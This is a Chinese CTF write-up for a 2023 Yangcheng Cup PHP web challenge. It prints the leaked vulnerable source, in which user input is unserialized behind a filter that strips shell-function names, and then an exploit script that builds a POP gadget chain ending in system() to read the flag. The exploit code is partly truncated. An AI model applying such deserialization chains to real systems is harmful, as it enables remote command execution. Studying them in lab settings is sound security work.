[羊城杯 2023] web

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D0n’t pl4y g4m3!!!

打开题目，可以判断这里为php Development Server 启动的服务

查询得知，存在 PHP<=7.4.21 Development Server源码泄露漏洞(参考文章)
抓包，构造payload
得到源码

class Pro{
    private $exp;
    private $rce2;

    public function __get($name)
    {
        return $this->$rce2=$this->exp[$rce2];
    }
    public  function __toString()
    {
            call_user_func('system', "cat /flag");
     }
}

class Yang
{
    public function __call($name, $ary)
    {
        if ($this->key === true || $this->finish1->name) {
            if ($this->finish->finish) {
                call_user_func($this->now[$name], $ary[0]);
            }
        }
    }
    public function ycb()
    {
        $this->now = 0;
        return $this->finish->finish;
    }
    public function __wakeup()
    {
        $this->key = True;
    }
}
class Cheng
{
    private $finish;
    public $name;
    public function __get($value)
    {

        return $this->$value = $this->name[$value];
    }
}
class Bei
{
    public function __destruct()
    {
        if ($this->CTF->ycb()) {
            $this->fine->YCB1($this->rce, $this->rce1);
        }
    }
    public function __wakeup()
    {
        $this->key = false;
    }
}

function prohib($a){
    $filter = "/system|exec|passthru|shell_exec|popen|proc_open|pcntl_exec|eval|flag/i";
    return preg_replace($filter,'',$a);
}

$a = $_POST["CTF"];
if (isset($a)){
  unserialize(prohib($a));
}
?>

还有提示./hint.zip，下载完解压，猜测是某种编码
复制到谷歌，发现GitHub上面有解码工具
然后再回过头看
pop链子：Bei.__destruct()->Yang.__call()
exp

key === true || $this->finish1->name) {
            if ($this->finish->finish) {
                call_user_func($this->now[$name], $ary[0]);
            }
        }
    }
    public function ycb()
    {
        $this->now = 0;
        return $this->finish->finish;
    }
}
class Cheng  //two
{
    private $finish;
    public $name;
    
}
class Bei  //four
{
    public function __destruct()
    {
        if ($this->CTF->ycb()) {
            $this->fine->YCB1($this->rce, $this->rce1);
        }
    }
    public function __wakeup()
    {
        $this->key = false;
    }
}

$a=new Bei();
$a->rce="cat /tmp/catcatf1ag.txt";
$a->rce1="";
$b=new Yang();
$b->finish->finish=true;
$a->CTF=$b;
$c=new Yang();
$c->key=true;
$c->finish->finish=true;
$c->now['YCB1']='system';
$a->fine=$c;
echo urlencode(serialize($a));
?>

得到flag